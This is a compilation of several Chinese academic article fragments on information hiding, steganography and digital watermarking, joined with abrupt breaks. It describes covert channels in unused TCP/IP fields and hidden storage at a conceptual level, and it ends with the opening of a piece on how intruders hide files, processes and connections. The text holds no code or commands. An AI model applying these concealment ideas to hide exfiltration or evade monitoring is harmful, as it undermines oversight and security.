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多媒體技術(shù)和通信技術(shù)帶來(lái)極大方便,但數(shù)字化的多媒體信息很容易受到非法訪(fǎng)問(wèn)、篡改、復(fù)制和傳播,給人們的生產(chǎn)生活及生命財(cái)產(chǎn)帶來(lái)隱患。魔高一尺道高一丈,信息隱藏技術(shù)應(yīng)運(yùn)而生。
一、信息隱藏技術(shù)及其特征
信息隱藏技術(shù)利用載體數(shù)據(jù)的冗余性以及人的感官局限性,將一個(gè)特定信息隱藏在另外一個(gè)被稱(chēng)為載體的信息中。信息隱藏技術(shù)融合電子工程、計(jì)算機(jī)科學(xué)、信號(hào)處理、通信、多媒體技術(shù)等多學(xué)科,是新興技術(shù)體系。信息隱藏所用載體可以是文本、圖像、音頻、視頻,甚至可以是某個(gè)信道或某套編碼體制。信息能夠隱藏在載體中,載體數(shù)據(jù)本身具有很大的冗余性,未壓縮的多媒體信息編碼效率是很低,將某些信息嵌入到該載體信息中進(jìn)行秘密傳送完全可行,不會(huì)影響多媒體信息本身的傳送和使用;人的感覺(jué)器官對(duì)于所接收信息都有一定掩蔽效應(yīng),如人耳對(duì)不同頻段聲音敏感程度不同,可將信息隱藏到載體中而不被覺(jué)察。
信息隱藏技術(shù)的特征明顯:不可察覺(jué)性,嵌入信息后,要求不會(huì)引起載體發(fā)生可感知變化;不可檢測(cè)性,嵌入隱藏信息后,計(jì)算機(jī)不能發(fā)現(xiàn)和檢測(cè);安全性,嵌入信息后,必須擁有相關(guān)信息才能夠提取所嵌入內(nèi)容;純正性,提取操作時(shí),即便載密文件受到損壓縮、解壓縮、濾波、轉(zhuǎn)換等擾動(dòng),也能提取隱藏信息;穩(wěn)定性,隱藏信息能“永久”存在;安全性,第三方在不知道隱藏算法和隱藏密鑰情況下,不能獲取信息相關(guān)數(shù)據(jù)。信息隱藏技術(shù)按載體分為,基于文本、圖像、音頻、視頻、超文本、網(wǎng)絡(luò)層、圖形等媒體的信息隱藏技術(shù);按嵌入域分為基于空域(或時(shí)域)和變換域的隱藏技術(shù);按嵌入策略分為替換調(diào)制、模式調(diào)制和擴(kuò)頻疊加調(diào)制等技術(shù);按提取要求分為盲隱藏技術(shù)和非盲隱藏技術(shù);按作用分為隱蔽通信和數(shù)字水印技術(shù);按密鑰分為無(wú)密鑰隱藏和有密鑰隱藏。
二、信息隱藏技術(shù)的研究及演進(jìn)
信息安全事關(guān)個(gè)人利益,也事關(guān)國(guó)家安全、社會(huì)穩(wěn)定以及經(jīng)濟(jì)發(fā)展,各國(guó)政府無(wú)不重視信息和網(wǎng)絡(luò)安全。密碼技術(shù)一直是保障信息安全的重要手段,但這并不能解決問(wèn)題。截獲者發(fā)現(xiàn)網(wǎng)絡(luò)文件加密,往往會(huì)引起注意,并激發(fā)其破解欲望,即使不能成功破解,也能輕易攔截并破壞秘密信息,干擾通信進(jìn)行。針對(duì)密碼技術(shù)的局限性,上世紀(jì)90年代國(guó)際上出現(xiàn)了信息隱藏技術(shù)(InformationHiding)。
現(xiàn)代信息隱藏研究主要集中在靜態(tài)圖像領(lǐng)域,目前信息隱藏所用載體已擴(kuò)展到文字、圖像、聲音及視頻等領(lǐng)域。在全球信息化、數(shù)字化迅猛發(fā)展時(shí)代背景下,對(duì)知識(shí)產(chǎn)權(quán)保護(hù)、隱密通信等需求激發(fā)了對(duì)信息隱藏技術(shù)的研究熱潮。國(guó)際上研究信息隱藏的機(jī)構(gòu)主要有劍橋大學(xué)、麻省理工學(xué)院、NEC美國(guó)研究所、IBM研究中心等,已提出了一些優(yōu)秀隱藏算法。我國(guó)于1999年在何德全、周仲義、蔡吉人等三位院士大力倡導(dǎo)下召開(kāi)了第一屆信息隱藏學(xué)術(shù)研討會(huì),我國(guó)對(duì)信息隱藏的研究也取得重要成果。目前在信息隱藏中無(wú)論是數(shù)字水印還是隱密通信,都得到越來(lái)越廣泛應(yīng)用。應(yīng)用領(lǐng)域不斷擴(kuò)大,從最初靜態(tài)圖片發(fā)展到文本、音頻、視頻、電腦文件、流媒體、網(wǎng)頁(yè)及網(wǎng)絡(luò)傳輸中的數(shù)據(jù)包,甚至是無(wú)線(xiàn)通信領(lǐng)域中的語(yǔ)音通信和手機(jī)彩信等領(lǐng)域。我國(guó)對(duì)信息隱藏的研究取得了很多成果,基本與世界水平保持一致。如今信息隱藏研究已出現(xiàn)百花齊放、百家爭(zhēng)鳴局面。
三、信息隱藏技術(shù)的應(yīng)用
隨著信息技術(shù)飛速發(fā)展,人類(lèi)利用的信息越來(lái)越豐富,通信技術(shù)發(fā)展使人們能夠方便、快捷、靈活地使用文本、語(yǔ)音、圖像與視頻等多種方式通信;各種數(shù)字化信息處理技術(shù)使得網(wǎng)絡(luò)中傳輸任何類(lèi)型的文件(如文本、圖像、音頻和視頻等)都可被數(shù)字化,極大方便了對(duì)各種信息數(shù)據(jù)壓縮、存儲(chǔ)、復(fù)制、處理和利用。
信息隱藏技術(shù)主要有隱寫(xiě)術(shù)和數(shù)字水印。目前,信息隱藏技術(shù)的應(yīng)用主要在以下方面:一是隱密通信。通過(guò)隱寫(xiě)術(shù)將秘密信息嵌入在公開(kāi)媒體文件中傳播消息。早期的隱密通信,接收方和發(fā)送方甚至不必交換電子郵件,直接交互文件或登錄特定計(jì)算機(jī)和賬戶(hù)。隨著網(wǎng)絡(luò)及通信技術(shù)發(fā)展,隱密通信所用通信方式從簡(jiǎn)單數(shù)據(jù)文件交互到互聯(lián)網(wǎng)以及無(wú)線(xiàn)通信領(lǐng)域。二是版權(quán)保護(hù)。通過(guò)數(shù)字水印技術(shù)在媒體文件中嵌入特定數(shù)字標(biāo)識(shí)或簽名,標(biāo)識(shí)媒體文件所有權(quán)和版權(quán)信息等。三是數(shù)據(jù)完整性保護(hù)。防護(hù)篡改、完整性保護(hù)中所采用的數(shù)字水印為易損水印或脆弱水印,任何對(duì)媒體文件修改都會(huì)從隱藏?cái)?shù)據(jù)中反映出來(lái)。四是印刷品防偽。印刷品印刷之前嵌入一定標(biāo)識(shí)信息,印刷后作品可經(jīng)過(guò)掃描再次輸入計(jì)算機(jī),通過(guò)特定水印提取和鑒別方法來(lái)鑒別作品真?zhèn)巍N迨强截惪刂啤?刂泼襟w文件拷貝次數(shù),防止大規(guī)模盜版或非法復(fù)制。
信息隱藏技術(shù)重點(diǎn)運(yùn)用領(lǐng)域是移動(dòng)通信領(lǐng)域。移動(dòng)通信網(wǎng)絡(luò)方便快捷,在軍事和商業(yè)通信中廣泛應(yīng)用。移動(dòng)通信領(lǐng)域多媒體短信將文本、圖片、音頻、視頻等組合成多媒體消息進(jìn)行發(fā)送。移動(dòng)通信領(lǐng)域中多媒體短信以其特有的直觀性、生動(dòng)性和集成性,面市以來(lái)得到廣泛關(guān)注。多媒體短信即彩信的最大特色是支持多媒體功能,可將不同的媒體,如文本、圖片、音頻、視頻等組合在一起進(jìn)行發(fā)送。彩信標(biāo)準(zhǔn)并沒(méi)有對(duì)彩信所支持的文件格式給出具體限制,理論上只要在封裝打包時(shí)為彩信所包含的各媒體文件設(shè)置好適當(dāng)類(lèi)型參數(shù)即可;但實(shí)際上具體的彩信所支持媒體格式還是有限的,這主要與手機(jī)終端彩信軟件和MMSC支持傳送媒體格式有關(guān)。隨著3G普及以及手機(jī)終端行業(yè)發(fā)展,彩信所支持的媒體文件格式將更豐富多樣,為信息隱藏技術(shù)在彩信中的應(yīng)用提供了更為廣闊的空間。
【參考文獻(xiàn)】
中圖分類(lèi)號(hào):TP309 文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1007-9599 (2011) 14-0000-01
Information Hiding Technology and Implementation Methods
Wang Hao,Yang Bo,Zhang Jian
(Shandong Provincial Military Area Command,Jinan250099,China)
Abstract:Today,the information technology and the computer technology is highly developed,the combination of digital information and the ancient steganography make the digital hiding technology become a new technology,which provides a new way to explore the non-cryptographic security communication.
Keywords:Information hiding technology;Implementation
信息隱藏的思想起源于隱寫(xiě)術(shù),它是一種將秘密信息隱藏于另一個(gè)非機(jī)密文件內(nèi)容之中,在傳輸、存儲(chǔ)過(guò)程中不被察覺(jué)和發(fā)現(xiàn),接收者獲得隱藏對(duì)象后,按照約定規(guī)則還原秘密信息的技術(shù)。其道理如同生物學(xué)上的保護(hù)色,巧妙地將自己偽裝隱藏于自然環(huán)境中,免于被天敵發(fā)現(xiàn)而遭受攻擊。
信息隱藏技術(shù)可以追溯到遠(yuǎn)古時(shí)代,方法從音符、咒語(yǔ)到五花八門(mén)的隱寫(xiě)術(shù),但隱寫(xiě)術(shù)發(fā)展一直比較緩慢,沒(méi)有成為一門(mén)獨(dú)立的學(xué)科,人們對(duì)于信息保密更多的是采用密碼技術(shù)。直到信息技術(shù)和計(jì)算機(jī)技術(shù)高度發(fā)達(dá)的今天,數(shù)字化信息與隱寫(xiě)術(shù)相結(jié)合,為古老的隱寫(xiě)術(shù)注入了新的活力,使得數(shù)字化信息隱藏技術(shù)成為一門(mén)全新的技術(shù),為探索非密碼的通信安全提供了新途徑。
一、信息隱藏的基本方式
(一)傳輸隱藏。在視頻通信系統(tǒng)中隱藏信息,利用視頻通信壓縮編碼中可利用的資源,在確保不使視頻信號(hào)質(zhì)量嚴(yán)重下降的前提下,嵌入壓縮的話(huà)音編碼,形成秘密通信信道。同時(shí)數(shù)據(jù)通信中的IP包和TCP包,均有未使用的保留空間,可用來(lái)傳輸隱藏信息。另外,IP包的時(shí)間戳也可傳送1個(gè)比特的數(shù)據(jù)。
(二)載體隱藏。在文本文件、圖像文件及可執(zhí)行文件中插入秘密信息,可實(shí)現(xiàn)信息隱藏。利用話(huà)音信號(hào)的自然冗余性,將秘密信息直接編碼到文件內(nèi)容中去,或?qū)⑵渚幋a到文本格式中,形成以文本為載體的信息隱藏。將秘密信息插入圖像文件中對(duì)人的視覺(jué)系統(tǒng)不敏感的比特位,在不影響圖像質(zhì)量的前提下實(shí)現(xiàn)信息隱藏。利用可執(zhí)行文件中的冗余信息,加載秘密信息。
(三)存儲(chǔ)隱藏。利用計(jì)算機(jī)系統(tǒng)中保留或未使用的空間保存秘密信息,為隱藏信息提供另外一種方式,通過(guò)創(chuàng)建隱藏分區(qū)、使用操作系統(tǒng)分配給文件但未使用的空間來(lái)隱藏信息。同一個(gè)計(jì)算機(jī)系統(tǒng)中不同安全級(jí)別的兩臺(tái)主機(jī),根據(jù)預(yù)先約定的規(guī)則,通過(guò)存儲(chǔ)特定數(shù)據(jù)也可傳遞信息。級(jí)別高的主機(jī)在特定區(qū)域存儲(chǔ)不同大小、不同名稱(chēng)的文件,級(jí)別低的主機(jī)雖不能訪(fǎng)問(wèn)數(shù)據(jù),但可從文件列表獲取所要的信息。
二、信息隱藏的實(shí)現(xiàn)方法
(一)基于替換的信息隱藏方法。基于替換的信息隱藏,就是用秘密信息比特替換掉偽裝載體中不重要的比特,實(shí)現(xiàn)對(duì)秘密信息的隱藏。如果這種嵌入的信息在傳輸過(guò)程中不被察覺(jué),接收者就可從秘密信息嵌入的位置提取出秘密信息。常用的替換方法:一是最低比特位替換。就是利用圖像位平面最低幾位比特對(duì)人的視覺(jué)系統(tǒng)不敏感的特性,將這些比特替換成秘密信息的相應(yīng)比特。利用此種方法可在偽裝載體中隱藏大量秘密信息而不被察覺(jué)。二是偽隨機(jī)置換。就是把秘密信息比特近似隨機(jī)地分散在整個(gè)載體中。用偽隨機(jī)數(shù)發(fā)生器產(chǎn)生索引序列,并在以此為索引的載體元素中插入秘密信息。利用此種方法插入比特的順序無(wú)規(guī)律可找,因而增加了被攻擊的復(fù)雜度。三是載體區(qū)域和奇偶校驗(yàn)位替換。將載體偽隨機(jī)地分成若干個(gè)不相接的載體區(qū)域,在每個(gè)區(qū)域的奇偶校驗(yàn)位上嵌入一個(gè)信息比特,若奇偶校驗(yàn)位與信息比特不匹配,則區(qū)域中所有值最低一個(gè)比特位反轉(zhuǎn),使二者相等,在譯碼過(guò)程中計(jì)算出所有區(qū)域的奇偶校驗(yàn)位,排列起來(lái)重構(gòu)信息。四是量化和抖動(dòng)替換。利用數(shù)字圖像的抖動(dòng)和量化處理過(guò)程插入秘密信息。運(yùn)用預(yù)測(cè)編碼的量化誤差,通過(guò)調(diào)整差分信號(hào)Δi來(lái)傳送秘密信息。五是OSI網(wǎng)絡(luò)協(xié)議幀結(jié)構(gòu)替換。就是將秘密信息插入TCP/IP包中未使用的空間,形成一個(gè)秘密的通信信道。
中圖分類(lèi)號(hào):F407.63 文獻(xiàn)標(biāo)識(shí)碼:A 文章編號(hào):
信息隱藏技術(shù)是現(xiàn)代人們保障信息安全的研究焦點(diǎn),涉及很多領(lǐng)域,是人體感知能力、信息技術(shù);密碼技術(shù)等學(xué)科的很好的應(yīng)用,其實(shí)現(xiàn)的主要載體是計(jì)算機(jī)多媒體技術(shù),本文中作簡(jiǎn)單分析。
1信息隱藏技術(shù)的原理和特征
1.1信息隱藏與信息加密
信息加密是利用密碼學(xué)技術(shù)將機(jī)密文件進(jìn)行加密編碼,把明文變換成密文后,通過(guò)公開(kāi)信道送到接收者手中(見(jiàn)圖1)。由于經(jīng)過(guò)加密處理的密文是一組亂碼,當(dāng)監(jiān)視通信信道的攻擊者發(fā)現(xiàn)并截獲到亂碼后,就可以利用已有的各種攻擊方法對(duì)密文進(jìn)行破譯。這種方式雖然不易被解密,但通信易被第三方察覺(jué),一定程度上向攻擊者明確提示了重要信息的存在,所以容易引起攻擊者的注意,進(jìn)而遭受到干擾和攻擊,導(dǎo)致密文通信失敗。同時(shí),即使攻擊者無(wú)法對(duì)密文進(jìn)行破譯,也可在破譯失敗后將該信息進(jìn)行破壞,使得合法的接收者也無(wú)法獲取密文。
圖1 信息加密過(guò)程示意圖
信息隱藏也稱(chēng)“信息隱匿”,是信息安全研究領(lǐng)域中的一門(mén)新興的交叉學(xué)科,也是當(dāng)前信息安全領(lǐng)域國(guó)內(nèi)外各機(jī)構(gòu)研究的熱點(diǎn)方向。信息隱藏與信息加密的目的相同,都是為了保護(hù)秘密信息的存儲(chǔ)和傳輸,使之免遭第三方的破壞和攻擊,但兩者之間具有顯著的區(qū)別。信息隱藏技術(shù)是將機(jī)密信息秘密隱藏于另一公開(kāi)信息(載體、宿主、掩體對(duì)象)中,即將秘密信息(嵌入對(duì)象)嵌入到另一表面看起來(lái)普通的信息載體中,然后通過(guò)該公開(kāi)信息(隱藏對(duì)象)的傳輸來(lái)傳遞秘密信息(見(jiàn)圖2)。第三方很難從公開(kāi)信息中判斷機(jī)密信息是否存在,即無(wú)法直觀地判斷所監(jiān)視的信息中是否含有秘密信息。這種方式使含有隱匿信息的宿主信息不會(huì)引起第三方的注意和懷疑,降低了機(jī)密信息的截獲率,從根本上保證了機(jī)密信息的安全。其關(guān)鍵技術(shù)主要是在確保宿主文件格式、質(zhì)量和大小不變的前提下,將密文保存在該宿主文件中,且能對(duì)密文實(shí)現(xiàn)無(wú)損還原。
圖2 信息隱藏過(guò)程示意圖
1.2信息隱藏技術(shù)的原理
信息隱藏系統(tǒng)(典型模型見(jiàn)圖3)包括一個(gè)嵌入過(guò)程和一個(gè)提取過(guò)程。在嵌入和提取過(guò)程中通常都會(huì)使用一個(gè)秘密信息來(lái)對(duì)其進(jìn)行控制,使得只有合法授權(quán)用戶(hù)才能對(duì)其進(jìn)行操作,這個(gè)秘密信息被稱(chēng)為隱藏密鑰,隱藏密鑰在嵌入過(guò)程中稱(chēng)為嵌入密鑰,在提取過(guò)程中稱(chēng)為提取密鑰。
在嵌入過(guò)程中,信息隱藏者利用嵌入密鑰,將密文添加到載體中,生成隱蔽載體。隱蔽載體在傳輸過(guò)程中有可能被隱藏分析者截獲并進(jìn)行處理。在提取過(guò)程中,提取者利用提取密鑰從接收到的、可能經(jīng)過(guò)修改的隱蔽載體中恢復(fù)出密文。在密文提取時(shí),根據(jù)隱藏算法的不同,有可能需要載體,也可能不需要。
圖3 信息隱藏系統(tǒng)的典型模型
信息隱藏可在不改變?cè)型ㄐ旁O(shè)備的基礎(chǔ)上實(shí)現(xiàn),只需要在原通信系統(tǒng)的收發(fā)設(shè)備,增加信息隱藏/隱藏信息提取模塊,便能夠在完成信息隱蔽傳送的同時(shí),保持系統(tǒng)原有的通信功能不受其影響(見(jiàn)圖4)。首先獲取密文信息,為進(jìn)一步提高安全性,可結(jié)合信息加密技術(shù)對(duì)密文信息進(jìn)行預(yù)處理,得到加密信息,之后可采取交織、糾錯(cuò)等編碼措施。接下來(lái),獲取載體信息,如音頻、圖像、文本等原始宿主信息;如果采用的是變換域信息隱藏算法,則需要對(duì)載體信息進(jìn)行相應(yīng)的域變換;同時(shí),為使接收端能對(duì)隱藏信息進(jìn)行準(zhǔn)確的盲檢測(cè),可在載體信息中加入同步信號(hào)。之后,便可將秘密信息嵌入到載體信息中、完成變換域的反變換,得到隱蔽載體。最后,由發(fā)送端將隱含密文信息的隱蔽載體通過(guò)公共信道進(jìn)行傳送。
圖4 信息隱藏模型示意圖
接收端獲得隱蔽載體后,對(duì)其進(jìn)行相應(yīng)的域變換、信道解碼和解密后,就獲取了所嵌入的密文信息。
1.3信息隱藏技術(shù)的分類(lèi)及特征
信息隱藏技術(shù)一般具有如下分類(lèi)方法:
(1)按載體類(lèi)型分類(lèi)。根據(jù)信息隱藏所采用載體的不同,信息隱藏技術(shù)可分為文本信息隱藏、音頻信息隱藏、圖像信息隱藏、視頻信息隱藏等。音頻信息和圖像信息隱藏是信息隱藏的重要分支。
(2)按密鑰分類(lèi)。若嵌入和提取采用相同密鑰,則稱(chēng)其為對(duì)稱(chēng)隱藏算法,否則稱(chēng)為公鑰隱藏算法。
(3)按嵌入域分類(lèi)。主要可分為空域(或時(shí)域)方法及變換域方法。
(4)按提取的要求分類(lèi)。若在提取隱藏信息時(shí)不需要利用原始載體,則稱(chēng)為盲隱藏;否則稱(chēng)為非盲隱藏。
(5)按保護(hù)對(duì)象分類(lèi)。主要可分為隱寫(xiě)術(shù)和水印技術(shù)(見(jiàn)圖5)。
圖5 按保護(hù)對(duì)象分類(lèi)
隱寫(xiě)術(shù)的目的是在不引起任何懷疑的情況下秘密傳送消息,信息隱藏技術(shù)在通信中的應(yīng)用主要是指隱寫(xiě)術(shù)。數(shù)字水印是指嵌在數(shù)字產(chǎn)品中的數(shù)字信號(hào),可以是圖像、文字、符號(hào)、數(shù)字等一切可以作為標(biāo)識(shí)和標(biāo)記的信息,其目的是進(jìn)行版權(quán)保護(hù)、所有權(quán)證明、指紋(追蹤多份拷貝)和完整性保護(hù)等。匿名通信就是尋找各種途徑來(lái)隱藏通信的主體,即信息的發(fā)送者和接收者。
2信息隱藏技術(shù)在電子通信中的應(yīng)用前景
當(dāng)前,我國(guó)在信息安全的應(yīng)用方法和研究領(lǐng)域方面,大多還是采用傳統(tǒng)意義下的信息加密技術(shù),例如用hash函數(shù),偽隨機(jī)序列等密碼學(xué)技術(shù)等,這種信息安全模式存在兩大弊端:一是信息安全無(wú)法保障,不能保證加密的信息不被破譯;二是耗資巨大,現(xiàn)代先進(jìn)信息安全技術(shù)往往對(duì)設(shè)備要求較高,這在很大程度上增加了對(duì)基礎(chǔ)工業(yè)的投入。因此,對(duì)信息隱藏新技術(shù)與新模式的研究和發(fā)展,在信息安全領(lǐng)域具有很大的潛在價(jià)值。
2.1將被動(dòng)保密變主動(dòng)隱藏。新型信息隱藏技術(shù)使需要保護(hù)的消息由“看不懂”變?yōu)椤翱床灰?jiàn)”;將傳統(tǒng)的“讓攻擊方解密不了”的信息加密理念提升為“讓攻擊方想象不到”的層面,從而使通信中傳統(tǒng)的保密、預(yù)防的被動(dòng)模式,轉(zhuǎn)型到既安全又能夠迷惑第三方的主動(dòng)模式。
2.2現(xiàn)有傳輸條件下的低信息截獲率。采用先進(jìn)的信息與信號(hào)處理技術(shù),以及多級(jí)包裝式信息隱藏新模式,可在很大程度上降低現(xiàn)有傳輸條件下秘密信息的截獲率。舉例而言,假如需要傳輸秘密文本信息A,我們將該文本A隱藏于另一文本信息B中,之后,我們將該文本B隱藏于圖片C中,再將圖片C隱藏于圖片D中,最后將圖片D隱藏于普通話(huà)音中。即文本A(隱藏于)文本B(隱藏于)圖片C(隱藏于)圖片D(隱藏于)普通話(huà)音。通過(guò)上述方式,一是攻擊方不會(huì)想到秘密信息正在以一種特殊多級(jí)包裝形式進(jìn)行傳輸,也就沒(méi)有試圖解密的意圖;二是即使前幾層包裝信息(B、C、D)被破譯,攻擊方自以為解密成功,從而放棄繼續(xù)解密的意圖,卻不知道真正的秘密信息(文本A)并沒(méi)有被解密出來(lái)。
3結(jié)語(yǔ)
目前信息隱藏技術(shù)是保障信息安全的關(guān)鍵技術(shù),在國(guó)內(nèi)外都得到了廣泛的應(yīng)用,并且都取得了一定成績(jī)。信息隱藏技術(shù)作為一種重要的信息安全技術(shù),潛在的價(jià)值是無(wú)法估量的, 特別是在迫切需要解決的版權(quán)保護(hù)等方面, 可以說(shuō)是根本無(wú)法被代替的, 相信其必將在未來(lái)的信息安全體系中發(fā)揮越來(lái)越重要的作用。
參考文獻(xiàn):
[1]王麗娜等.信息隱藏技術(shù)與應(yīng)用[M].武漢:武漢大學(xué)出版社,2009.
[2]楊波.信息隱藏技術(shù)及其應(yīng)用[M].北京:科學(xué)出版社,2002.
[3]吳志軍等.語(yǔ)音隱藏的研究及實(shí)現(xiàn)[J].通信學(xué)報(bào),2002,23(8):99-104.
關(guān)鍵詞:
電子信息;隱藏技術(shù)
在利用互聯(lián)網(wǎng)傳送數(shù)據(jù)、文件的時(shí)候,極有可能會(huì)出現(xiàn)數(shù)據(jù)、文件被攻擊、竊取等問(wèn)題,尤其那些關(guān)于國(guó)家安全、經(jīng)濟(jì)發(fā)展、個(gè)人隱私的資料,一旦被非法分子獲取,極有可能會(huì)影響國(guó)家的經(jīng)濟(jì)以及個(gè)人的安危。為了有效的解決這些問(wèn)題,人們引入了網(wǎng)絡(luò)加密技術(shù)。但是加密技術(shù)將文件、數(shù)據(jù)變成了亂碼,更易激發(fā)某些人“挑戰(zhàn)權(quán)威”的欲望。為了解決新問(wèn)題,人們又引進(jìn)了信息隱藏技術(shù),將機(jī)密文件“偽裝”成普通文件,這樣就能有效的混淆人們的視聽(tīng),提升網(wǎng)絡(luò)傳輸?shù)陌踩浴?/p>
一、電子信息隱藏技術(shù)
電子信息隱藏與信息偽裝是同一個(gè)概念,都是利用有效手段將機(jī)密信息隱藏于另一個(gè)非機(jī)密信息之中,用以混淆“有心人”視聽(tīng)的一種電子信息技術(shù)。隱藏技術(shù)的載體類(lèi)型非常的多樣,可以是圖像、聲音、視頻還可以是文檔,因此,不易被一般人辨識(shí),即便某些人發(fā)現(xiàn)了隱藏信息,也難以提取信息,這就使得機(jī)密的信息、文件得以安全傳輸。因傳統(tǒng)的加密技術(shù)思想和方法具備優(yōu)勢(shì),所以現(xiàn)階段人們所使用的信息隱藏技術(shù)是在有所保留的同時(shí)進(jìn)行了改進(jìn)。按照處理對(duì)象的不同信息隱藏技術(shù)可以被分為數(shù)字水印技術(shù)、疊像技術(shù)以及替聲技術(shù)等。其中,疊像技術(shù)是一種將信息隱藏在載體中進(jìn)行安全傳輸?shù)募夹g(shù)。數(shù)字水印技術(shù)可以在開(kāi)放的網(wǎng)絡(luò)環(huán)境下保護(hù)版權(quán),可以識(shí)別與版權(quán)相關(guān)各方的信息,并將這些信息轉(zhuǎn)化成“隱藏信息”嵌入圖像、音頻、視頻等,以實(shí)現(xiàn)確認(rèn)所有權(quán)和信息跟蹤目標(biāo)。替聲技術(shù)按照聲音包含的內(nèi)容進(jìn)行分類(lèi),可以通過(guò)處理聲音信息,改變?cè)暤膶?duì)象、內(nèi)容等隱藏真正的聲音信息。
二、電子信息隱藏技術(shù)的特征分析
與傳統(tǒng)的信息相比,安全技術(shù)電子信息隱藏技術(shù)具備六個(gè)明顯的特征優(yōu)勢(shì):第一,安全性。能夠有效的抗擊強(qiáng)攻擊能力,即便是遭受了一定的人為攻擊,隱藏信息也可以最大限度的保存,而不受破壞。第二,隱蔽性。因?yàn)殡娮有畔㈦[藏技術(shù)將需要傳遞的信息、資料隱藏于普通載體之中,信息對(duì)象的外部特征得以偽裝,也更難以被不法分子察覺(jué)、阻攔。第三,不可測(cè)性。因?yàn)殡[蔽載體與原始載體存在某些潛在的、不容人輕易窺見(jiàn)的關(guān)聯(lián)性,即使被人攔截,想要正確的提取,卻也存在較大的困難。即便是能夠提取,也需要消耗大量的時(shí)間,這也就為信息、資料擁有者采取有效措施提供了時(shí)間。第四,不可見(jiàn)性。電子信息隱藏技術(shù)利用人類(lèi)視聽(tīng)覺(jué)屬藏處理資料、信息,目標(biāo)資料的內(nèi)容、質(zhì)量并沒(méi)有改變,但卻無(wú)法被人為的看見(jiàn)或是聽(tīng)見(jiàn)。第五,不可變性。即便是隱藏載體發(fā)生變化,比較常見(jiàn)的變化類(lèi)型包括諸如增強(qiáng)、濾波、有損壓縮、重采樣等一系列傳輸過(guò)程中的載體信號(hào)處理,諸如旋轉(zhuǎn)、平移、分割、縮放等一般的幾何變換以及惡意攻擊等,目標(biāo)文件所包含的信息也不會(huì)丟失。第六,自恢復(fù)性。雖然電子信息隱藏技術(shù)具備不可變性,但是這種性質(zhì)并不能保證信息百分之百的絕對(duì)的“不可變”,因此,自恢復(fù)性有效的解決了操作損毀、變換文件的問(wèn)題,只要損毀的標(biāo)文件還殘留部分的數(shù)據(jù),即使沒(méi)有宿主信號(hào),也可以采取有效的措施,對(duì)目標(biāo)文件進(jìn)行恢復(fù)。
三、電子信息隱藏技術(shù)的應(yīng)用狀況
(一)數(shù)據(jù)保密方面的應(yīng)用互聯(lián)網(wǎng)的使用方便了人們的生活、學(xué)習(xí),人們利用互聯(lián)網(wǎng)進(jìn)行資料、數(shù)據(jù)的傳輸。然而,隨著互聯(lián)網(wǎng)技術(shù)的普及,很多不法之徒也將目光轉(zhuǎn)向了互聯(lián)網(wǎng)方向,非授權(quán)用戶(hù)利用不法手段截獲、使用相關(guān)資料,導(dǎo)致網(wǎng)絡(luò)不安全問(wèn)題發(fā)生,嚴(yán)重的損害信息、資料所有者的權(quán)益。現(xiàn)階段,經(jīng)濟(jì)全球化發(fā)展迅猛,互聯(lián)網(wǎng)傳輸資料所涉及的面也更加的廣泛,政治、軍事、商業(yè)、金融、個(gè)人隱私等的泄漏將會(huì)帶來(lái)的不良結(jié)果,誰(shuí)也無(wú)法妄下斷言。因此,信息隱藏是及其重要且必要的。信息隱藏技術(shù)可以保護(hù)網(wǎng)上信息交流的安全系,還可以滿(mǎn)足一些人隱藏存儲(chǔ)私人的、“不愿為外人道”的個(gè)人隱私。
(二)數(shù)據(jù)完整性鑒定方面的應(yīng)用現(xiàn)階段最常使用的信息隱藏技術(shù)包括數(shù)字水印技術(shù)、疊像技術(shù)以及替聲技術(shù),通過(guò)分析這三種技術(shù)的實(shí)際應(yīng)用情況,不難發(fā)現(xiàn)數(shù)字水印技術(shù)存在缺陷,一旦保護(hù)媒體被篡改,數(shù)字水印技術(shù)所隱藏的目標(biāo)文件將會(huì)被破壞、暴露,進(jìn)而被不法之徒識(shí)別。數(shù)字水印技術(shù)的使用在數(shù)字票據(jù)中比較常見(jiàn)。由于隱藏的水印經(jīng)打印后仍可保留,因此在鑒別數(shù)字票據(jù)真?zhèn)蔚臅r(shí)候,可以利用再掃描的方法使水印變?yōu)閿?shù)字形式,提取防偽水印。數(shù)據(jù)完整性鑒定包括鑒定信號(hào)真?zhèn)巍㈣b定信號(hào)的完整性、指出信號(hào)差別以及資料傳輸過(guò)程有無(wú)發(fā)生篡改、丟失等情況。數(shù)據(jù)完整性鑒定可以準(zhǔn)確的鑒定獲知信號(hào)的真實(shí)性,大幅度的降低虛假、錯(cuò)誤信息的使用。在具體應(yīng)用的時(shí)候主要包括如下兩個(gè)步驟:首先,利用數(shù)據(jù)庫(kù)管理系統(tǒng)保證數(shù)據(jù)完整、準(zhǔn)確的輸入和儲(chǔ)存。其次,充分考慮實(shí)際情況,選擇最合適的數(shù)據(jù)校驗(yàn)方式對(duì)傳輸數(shù)據(jù)進(jìn)行校驗(yàn)檢查。
四、結(jié)束語(yǔ)
綜上所述,信息隱藏技術(shù)具備難以估量的應(yīng)用價(jià)值以及廣闊的應(yīng)用前景。但是作為一種有效的新型信息安全技術(shù),信息隱藏技術(shù)的體系以及技術(shù)等都還有待加強(qiáng)。相關(guān)人士應(yīng)充分的認(rèn)識(shí)現(xiàn)階段的信息隱藏技術(shù)的優(yōu)勢(shì)與劣勢(shì),深入的研究信息隱藏技術(shù),進(jìn)而使信息隱藏技術(shù)更好的發(fā)揮作用。
參考文獻(xiàn):
[1]陳素霞,陳亞鋒.淺談信息隱藏技術(shù)及其應(yīng)用[J].沿海企業(yè)與科技,2010(03).
中圖分類(lèi)號(hào):TP393文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1009-3044(2007)04-10961-03
1 引言
攻擊活動(dòng)是一系列連續(xù)操作,若攻擊時(shí)一不小心露出馬腳,所有前面的攻擊就會(huì)付諸東流,甚至?xí)耙馃怼薄;谶@樣的認(rèn)識(shí),精明的網(wǎng)絡(luò)攻擊者特別注意隱藏攻擊活動(dòng)。
隱藏技術(shù)在計(jì)算機(jī)系統(tǒng)安全中應(yīng)用十分廣泛,尤其是在網(wǎng)絡(luò)攻擊中,當(dāng)攻擊者成功侵入一個(gè)系統(tǒng)后,有效隱藏攻擊者的文件、進(jìn)程及其加載的模塊變得尤為重要。本文將討論網(wǎng)絡(luò)攻擊活動(dòng)中文件、進(jìn)程、網(wǎng)絡(luò)連接及通道的高級(jí)隱藏技術(shù),這些技術(shù)有的已經(jīng)被廣泛應(yīng)用到各種后門(mén)或安全檢測(cè)程序之中,而有一些則剛剛起步,仍然處在討論階段,應(yīng)用很少。
